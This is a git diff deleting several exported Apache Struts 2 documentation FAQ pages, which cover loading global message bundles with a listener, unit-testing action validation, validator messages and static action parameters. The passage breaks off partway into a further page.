-<h2 id="HowdoIsetaglobalresourcebundle-Listener">Listener</h2>
-
-<p>Aside from the properties file, a Listener could also be used to load global resource bundles.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>ActionGlobalMessagesListener.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class ActionGlobalMessagesListener implements ServletContextListener {
-  private static Logger log = Logger.getLogger(ActionGlobalMessagesListener .class);
-  private static final String DEFAULT_RESOURCE = "global-messages";
-
-  /**
-   * Uses the LocalizedTextUtil to load messages from the global message bundle.
-   * @see
-   javax.servlet.ServletContextListener#contextInitialized(javax.servlet.Servle
-   tContextEvent)
-   */
-  public void contextInitialized(ServletContextEvent arg0) {
-    log.info("Loading global messages from " + DEFAULT_RESOURCE);
-    LocalizedTextUtil.addDefaultResourceBundle(DEFAULT_RESOURCE);
-    log.info("Global messages loaded.");
-  }
-
-  /**
-   * @see javax.servlet.ServletContextListener#contextDestroyed(javax.servlet.ServletContextEvent)
-   */
-  public void contextDestroyed(ServletContextEvent arg0) {
-
-      // do nothing
-
-    }
-}
-</pre>
-</div></div>
-<p>web.xml:<br clear="none">
-(under listeners section)</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>web.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;listener&gt;
-  &lt;listener-class&gt;mypackagename.ActionGlobalMessagesListener&lt;/listener-class&gt;
-&lt;/listener&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-i-unit-test-my-actions-validation-logic.html b/content/docs/how-do-i-unit-test-my-actions-validation-logic.html
deleted file mode 100644
index 47f8b1b..0000000
--- a/content/docs/how-do-i-unit-test-my-actions-validation-logic.html
+++ /dev/null
@@ -1,183 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do I unit test my action's validation logic</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-i-unit-test-my-actions-validation-logic.html">How do I unit test my action's validation logic</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do I unit test my action's validation logic</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13847">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13847">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13847">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13847">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13847">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13847">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class WebLoginActionTest extends TestCase {
-    
-    private WebLoginAction wla;
-    
-    protected void setUp() throws Exception {
-        wla = new WebLoginAction();
-        wla.setJ_username("");
-        wla.setJ_password(null);
-        super.setUp();
-    }
- 
-    public void testWebLoginActionValidation() throws ValidationException {
-        ActionValidatorManager avm = ActionValidatorManagerFactory.getInstance();        
-        
-        avm.validate(wla,"");
-        Map fieldErrors = wla.getFieldErrors();
-        
-        assertTrue(wla.hasErrors());
-        assertEquals(2, fieldErrors.size());
-        assertTrue(fieldErrors.containsKey("j_username"));
-        assertTrue(fieldErrors.containsKey("j_password"));
-                
-        System.out.println("[errors] : " +  fieldErrors.toString());              
-    }
-}
-</pre>
-</div></div>
-
-<p>Contributor: Carlos</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-i-use-messages-from-within-the-validator.html b/content/docs/how-do-i-use-messages-from-within-the-validator.html
deleted file mode 100644
index e38a657..0000000
--- a/content/docs/how-do-i-use-messages-from-within-the-validator.html
+++ /dev/null
@@ -1,164 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do I use messages from within the validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-i-use-messages-from-within-the-validator.html">How do I use messages from within the validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do I use messages from within the validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13861">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13861">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13861">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13861">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13861">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13861">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;validators&gt;
-    &lt;field name="name"&gt;
-        &lt;field-validator type="requiredstring"&gt;
-            &lt;message key="template.name.errors.required"&gt;A default message in case the key is not found&lt;/message&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-&lt;/validators&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-we-access-static-parameters-from-an-action.html b/content/docs/how-do-we-access-static-parameters-from-an-action.html
deleted file mode 100644
index 75dd6d1..0000000
--- a/content/docs/how-do-we-access-static-parameters-from-an-action.html
+++ /dev/null
@@ -1,202 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do we access static parameters from an Action</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-we-access-static-parameters-from-an-action.html">How do we access static parameters from an Action</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do we access static parameters from an Action</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14312">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14312">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14312">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14312">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14312">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14312">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Static (or pre-defined) parameters can be set to a Map property or to individual JavaBean properties.</p>
-<ul><li>Define the parameters to be set by adding the name(s) and value(s) to the action mapping element (in the application's <code>struts.xml</code>.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="myAction" class=" MyAction"&gt;
-     &lt;param name="myStaticParam1"&gt;myStaticValue1&lt;/param&gt;
-     &lt;param name="myStaticParam2"&gt;myStaticValue2&lt;/param&gt;
-     &lt;param name="myStaticParam3"&gt;myStaticValue3&lt;/param&gt;
-  &lt;/action&gt;
-</pre>
-</div></div>
-<ul><li>Ensure that <code>staticParams</code> Interceptor is included in the Action's stack.
-	<ul><li><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)"> <em>The default stack already includes</em> <code><em>staticParams</em></code><em>.</em></li></ul>
-	</li><li>Edit the Action so that it implements the Parameterizable interface.</li></ul>
-
-
-<h2 id="HowdoweaccessstaticparametersfromanAction-Mapproperty">Map property</h2>
-
-<ul><li>Ensure the Action defines a <code>setParams(Map)</code> method.</li></ul>
-
-
-<ul><li>The <code>staticParams</code> Interceptor will set the defined values to the Map, using the name as the entry key.</li></ul>
-
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> key </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> value </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> myStaticParam1 </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> myStaticValue1 </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> myStaticParam2 </p></td><td colspan="1" rowspan="1" class="confluen [...]
-
-
-<h2 id="HowdoweaccessstaticparametersfromanAction-JavaBeanproperties">JavaBean properties</h2>
-
-<ul><li>Ensure that the Action defines JavaBean properties corresponding to the <code>param</code> elements in the action mapping.</li></ul>
-
-
-<ul><li>The <code>staticParams</code> Interceptor will set the defined values to each JavaBean property that corresponds to a <code>param</code> element.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public String getMyStaticParam1()
-public void setMyStaticParam1(String myStaticParam1)
-
-public String getMyStaticParam2()
-public void setMyStaticParam2(String myStaticParam2)
-
-public String getMyStaticParam3()
-public void setMyStaticParam3(String myStaticParam3)
-</pre>
-</div></div>
-<p>@see com.opensymphony.xwork.interceptor.StaticParametersInterceptor<br clear="none">
-@see com.opensymphony.xwork.config.entities.Parameterizable</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-we-access-the-action-invocation-action-name-or-namespace-from-a-view.html b/content/docs/how-do-we-access-the-action-invocation-action-name-or-namespace-from-a-view.html
deleted file mode 100644
index 98f37e8..0000000
--- a/content/docs/how-do-we-access-the-action-invocation-action-name-or-namespace-from-a-view.html
+++ /dev/null
@@ -1,158 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do we access the Action Invocation, action name or namespace from a view</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-we-access-the-action-invocation-action-name-or-namespace-from-a-view.html">How do we access the Action Invocation, action name or namespace from a view</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do we access the Action Invocation, action name or namespace from a view</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=89048">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=89048">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
